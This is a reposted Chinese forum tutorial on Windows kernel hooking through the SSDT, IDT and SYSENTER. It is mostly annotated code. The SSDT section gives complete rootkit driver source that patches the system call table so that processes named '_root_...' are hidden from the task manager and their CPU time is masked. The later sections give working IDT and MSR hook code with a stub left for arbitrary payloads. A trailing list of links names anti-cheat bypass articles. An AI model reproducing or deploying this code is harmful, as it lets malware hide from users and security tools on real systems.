必备绝技——hook大法( 中 )

news/2024/7/3 8:38:14 标签: hook, system, function, struct, service, null
标 题: 【原创】必备绝技——hook大法( 中 )
作 者: Lvg
时 间: 2007-04-09,23:37
链 接: http://bbs.pediy.com/showthread.php?t=42422

【文章标题】: 必备绝技——hook大法( 中 )
【文章作者】: LvG
【作者邮箱】:  LvG2008@gmail.com
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  这次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层需要驱动,有这方面的基础最好,如果不会,了解下其中的思路也可以的。
  
  II. SSDT-hook,IDT-hook,sysenter-hook
  一.SSDT-hook
  (一)一般思路:
  1.先来了解一下,什么是SSDT
  SSDT既System Service Dispath  Table。在了解他之前,我们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
系统组建.jpg
名称:  系统组件.JPG
查看次数: 992
文件大小:  53.0 KB
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再如下图
调用过程.jpg
名称:  调用过程.JPG
查看次数: 981
文件大小:  14.5 KB
  从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
SSDT.jpg
名称:  SSDT.JPG
查看次数: 976
文件大小:  17.4 KB
  KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是
  typedef struct ServiceDescriptorTable {
  PVOID ServiceTableBase;
  PVOID ServiceCounterTable(0);
  unsigned int NumberOfServices;
  PVOID ParamTableBase;
  }
  
  其中,
  ServiceTableBase System Service Dispatch Table 的基地址。
  NumberOfServices 由 ServiceTableBase 描述的服务的数目。
  ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。 
  ParamTableBase 包含每个系统服务参数字节数表的基地址。
  System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4子节长。
  System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
  还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图:
  服务分发.jpg
名称:  服务分发.JPG
查看次数: 977
文件大小:  35.7 KB
  右侧的服务分发就通过KeServiceDescriptorTableShadow。
  那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
  2.Hook前的准备-改变SSDT内存的保护
  系统对SSDT都是只读的,不能写。如果试图去写,等你的就是蓝脸。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
  (1)改变CR0寄存器的第1位
  Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
CR0.jpg
名称:  cr0.jpg
查看次数: 975
文件大小:  9.4 KB   
  其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
  (2)通过Memory Descriptor List(MDL)
  也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
  typedef struct _MDL {
  struct _MDL *Next;   
  CSHORT Size;       
  CSHORT MdlFlags;  //关键在这里,将来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写
  struct _EPROCESS *Process;
  PVOID MappedSystemVa;
  PVOID StartVa;
  ULONG ByteCount;
  ULONG ByteOffset;
  } MDL, *PMDL;
  首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成
  MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
  //先声明一个System Service Descriptor Table,我们知道SSDT及SSPT都从这个表中指向
  #pragma pack(1)
  typedef struct ServiceDescriptorEntry {
  
          unsigned int *ServiceTableBase;
  
          unsigned int *ServiceCounterTableBase;
  
          unsigned int NumberOfServices;
  
          unsigned char *ParamTableBase;
  
  } SSDT_Entry;
  
  #pragma pack()
  
  __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
  
  
  /
  PMDL  g_pmdlSystemCall;
  
  PVOID *MappedSystemCallTable;
  // 代码
  // 保存原系统调用位置
  
  
  
  // 映射我们的区域
  
  g_pmdlSystemCall = MmCreateMdl(NULL,
  
                     KeServiceDescriptorTable.ServiceTableBase,
  
                     KeServiceDescriptorTable.NumberOfServices*4);
  
  if(!g_pmdlSystemCall)
  
     return STATUS_UNSUCCESSFUL;
  
  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
  // 改变MDL的flags
  
  g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
  
                               MDL_MAPPED_TO_SYSTEM_VA;
  
  
  //在内存中索定,不让换出
  MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
  现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
  3.四个有用的宏
  SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中
  SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
  这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。
  HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
  这四个宏具体是:
  #define SYSTEMSERVICE(_func) /
          KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
  
  #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
  #define HOOK_SYSCALL(_Function, _Hook, _Orig )       /
  
          _Orig = (PVOID) InterlockedExchange( (PLONG) /
  
          &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
  #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  /
  
          InterlockedExchange((PLONG)           /
  
          &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
      
  4.小试牛刀:利用SSDT Hook隐藏进程
  我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是:
  NTSTATUS NewZwQuerySystemInformation(
  IN ULONG SystemInformationClass,  //如果这值是5,则代表系统中所有进程信息
  IN PVOID SystemInformation,  //这就是最终列举出的信息,和上面的值有关
  IN ULONG SystemInformationLength, //后两个不重要
  OUT PULONG ReturnLength)
  如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
  (1)  突破SSDT的内存保护,如上所用的MDL方法
  (2)  实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
  (3)  用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
  (4)  卸载New*函数,完成
  具体实例:来自Rootkit.com,我做了注释,代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  /
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  /
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//声明各种结构
struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
    LARGE_INTEGER          IdleTime;
    LARGE_INTEGER          KernelTime;
    LARGE_INTEGER          UserTime;
    LARGE_INTEGER          DpcTime;
    LARGE_INTEGER          InterruptTime;
    ULONG              InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER          m_UserTime;
LARGE_INTEGER          m_KernelTime;


//我们的hook函数,过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
       // 列举系统进程链表
     // 寻找以"_root_"开头的进程
     
          
     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
     
     while(curr)
     {
            //DbgPrint("Current item is %x/n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {
        if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)
              prev->NextEntryDelta += curr->NextEntryDelta;
            else  // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {
              // we are first in the list, so move it forward
              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // Idle process入口
      {
         //  把_root_进程的时间加给Idle进程,Idle称空闲时间
          
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

         // 重设时间,为下一次过滤
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass == 8) // 列举系统进程时间
    {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called/n");

   // 卸载hook
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // 解索并释放MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
           IN PUNICODE_STRING theRegistryPath)
{
   // 注册一个卸载的分发函数,与与应用层沟通
   theDriverObject->DriverUnload  = OnUnload; 

   // 初始化全局时间为零
   // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // 储存旧的函数地址
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // 把SSDT隐射到我们的区域,以便修改它为可写属性
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                              
   return STATUS_SUCCESS;
}
  
  二.IDT hook
  (一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。
  (二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题:
  1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下:
  typedef struct
  {
  WORD IDTLimit;
  WORD LowIDTbase;  //IDT的低半地址
  WORD HiIDTbase;    //IDT的高半地址
  } IDTINFO;
  方便获取地址存取的宏
  #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
  2.IDT有最多256个入口,我们现在要的是其中的0x2E,这个中断号的入口地址如何获取呢?
   #pragma pack(1)
  typedef struct
  {
  WORD LowOffset;           //入口的低半地址
  WORD selector;
  BYTE unused_lo;
  unsigned char unused_hi:5;     // stored TYPE ?
  unsigned char DPL:2;
  unsigned char P:1;         // vector is present
  WORD HiOffset;          //入口地址的低半地址
  } IDTENTRY;
  #pragma pack()
  知道了这个入口结构,就相当于知道了每间房(可以把IDT看作是一排有256间房组成的线性结构)的长度,我们先获取所有的入口idt_entrys,那么第0x2E个房间的地址也就可以确定了,即idt_entrys[0x2E]。
  3.如果得到了0x2e的地址,如何用我们的hook地址改写原中断地址呢? 见以下核心代码:
  DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook
  #define NT_SYSTEM_SERVICE_INT 0x2e
  //我们的hook函数
  int HookInterrupts()
  {
  
     IDTINFO idt_info;          //SIDT将返回的结构
  
     IDTENTRY* idt_entries;    //IDT的所有入口
  
     IDTENTRY* int2e_entry;    //我们目标的入口
  
     __asm{
  
        sidt idt_info;         //获取IDTINFO
  
     }
    //获取所有的入口
     idt_entries =
  
    (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
  //保存真实的2e地址
     KiRealSystemServiceISR_Ptr = 
                                MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
  
           idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
  
   
  //获取0x2E的入口地址
     int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
  
     __asm{
  
       cli;                       // 屏蔽中断,防止被打扰
  
       lea eax,MyKiSystemService; // 获得我们hook函数的地址,保存在eax
  
       mov ebx, int2e_entry;      // 0x2E在IDT中的地址,ebx中分地高两个半地址
  
       mov [ebx],ax;              // 把我们hook函数的地半地址写入真是第半地址
  
     shr eax,16                 //eax右移16,得到高半地址
  
       mov [ebx+6],ax;           // 写入高半地址
  
     sti;                      //开中断
  
     }
  
     return 0;
  
  }
具体代码见: www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
  (三)注意点:
  1.每个处理器都有个IDT,所以对于多CPU一定要注意,所有的IDT都要hook
  2.在winxp,win2k3,vsta下失效。
  
  三.SYSENTRY hook
  为了性能的考虑,xp后的系统都改用sysentry命令来进入ring0,去调用SSDT中的服务,不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。
  首先获得sysentry的地址,然后改之,不用再考虑IDT了。见下面的代码:
  #include "ntddk.h"
  
  ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
  
  VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
  {
    DbgPrint("ROOTKIT: OnUnload called/n");
  }
  
  // Hook function
  __declspec(naked) MyKiFastCallEntry()
  {
    __asm {
      jmp [d_origKiFastCallEntry]  //这啥都没做,换成你想干的
          }
  }
  
  NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
  {
    theDriverObject->DriverUnload  = OnUnload; 
  
    __asm {
                     mov ecx, 0x176                 
      rdmsr                          // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址             
      mov d_origKiFastCallEntry, eax //保存原值,以便恢复
      mov eax, MyKiFastCallEntry     // hook函数地址
      wrmsr                          // 将hook函数移入IA32_SYSENTER_EIP寄存器
    }
  
    return STATUS_SUCCESS;
  }
  
  
 基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。
  
                                                                    by LvG(吕歌)
参考文献:<<Rootkits: Subverting the Windows Kernel >> rootkit.com
 
          <<widows internels>>  <<Undocumented NT>>
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 一蓑烟雨,转载请注明作者并保持文章的完整, 谢谢!
                                                        
                                                       2007年04月09日 23:12:24
 

http://www.niftyadmin.cn/n/1353796.html

相关文章

必备绝技--Hook大法( 上 )

标 题:【原创】必备绝技--Hook大法( 上 )作 者: Lvg时 间: 2007-04-08,22:23链 接: http://bbs.pediy.com/showthread.php?t42362【文章标题】: 必备绝技--Hook大法&#xff08;上&#xff09;【文章作者】: LvG【作者邮箱】: LvG2008gmail.com【作者声明】: 这没有什么新鲜东…

HShield游戏保护的对抗和新的问题

转自bujin888 第一个版本 HShield反外挂方式应该向进程插入他们的反外挂钩子 拦截我们做外挂的必要函数 我当时突破方法是ROOKIT技术,隐藏进程!第二个版本 HShield利用消息全局钩子插入他们的反外挂钩子 ,我是拦截了LOADLIBARY到 自己的处理函数…

一种可以穿透还原卡和还原软件的代码

一种可以穿透还原卡和还原软件的代码&#xff08;那个的确是很老的东西但是很有用。&#xff09;创建时间&#xff1a;2003-12-07文章属性&#xff1a;原创文章提交&#xff1a;wind_men (tyhhyf_at_hotmail.com)一种可以穿透还原卡和还原软件的代码CVC/GB 风般的男人还原卡和…

ring0检测隐藏进程

标 题:【原创】ring0检测隐藏进程作 者: 堕落天才时 间: 2007-05-10,13:28链 接: http://bbs.pediy.com/showthread.php?t44243//网上得到一篇好文章 Ring0下搜索内存枚举隐藏进程 &#xff0c;但是拿里面的代码来使用的时候发现并没有太多效果//于是修改之&#xff0c;终于实…

Symbian 开发心得与经验

1.新建一个.cpp文件 ,一定要在.mmp文件中定义&#xff0c;否则编译会产生错误&#xff1a;Undefined symbol: void MyFunction(void) (?MyFunctionYAXXZ)[]

监视远程线程的创建

标 题:监视远程线程的创建作 者: 一块三毛钱时 间: 2005-02-21,15:23链 接: http://bbs.pediy.com/showthread.php?t11347监视远程线程的创建作者: 一块三毛钱邮件: zhongts163.com日期: 2004.12.29远程线程技术被大量的使用在木马、蠕虫等软件当中&#xff0c;通过在别的进程…

反NP监视原理(+Bypass NP in ring0)

标 题:【原创】反NP监视原理(Bypass NP in ring0)作 者: 堕落天才时 间: 2007-01-03,11:58链 接: http://bbs.pediy.com/showthread.php?t37353NPnProtect GameGuard(如果你不知道这是什么&#xff0c;请不要往下看)********************************************标题:【原创】…

SSDT Hook的妙用-对抗ring0 inline hook

标 题:【原创】SSDT Hook的妙用&#xff0d;对抗ring0 inline hook作 者: 堕落天才时 间: 2007-03-10,15:18链 接: http://bbs.pediy.com/showthread.php?t40832********************************************************标题:【原创】SSDT Hook的妙用&#xff0d;对抗ring0 …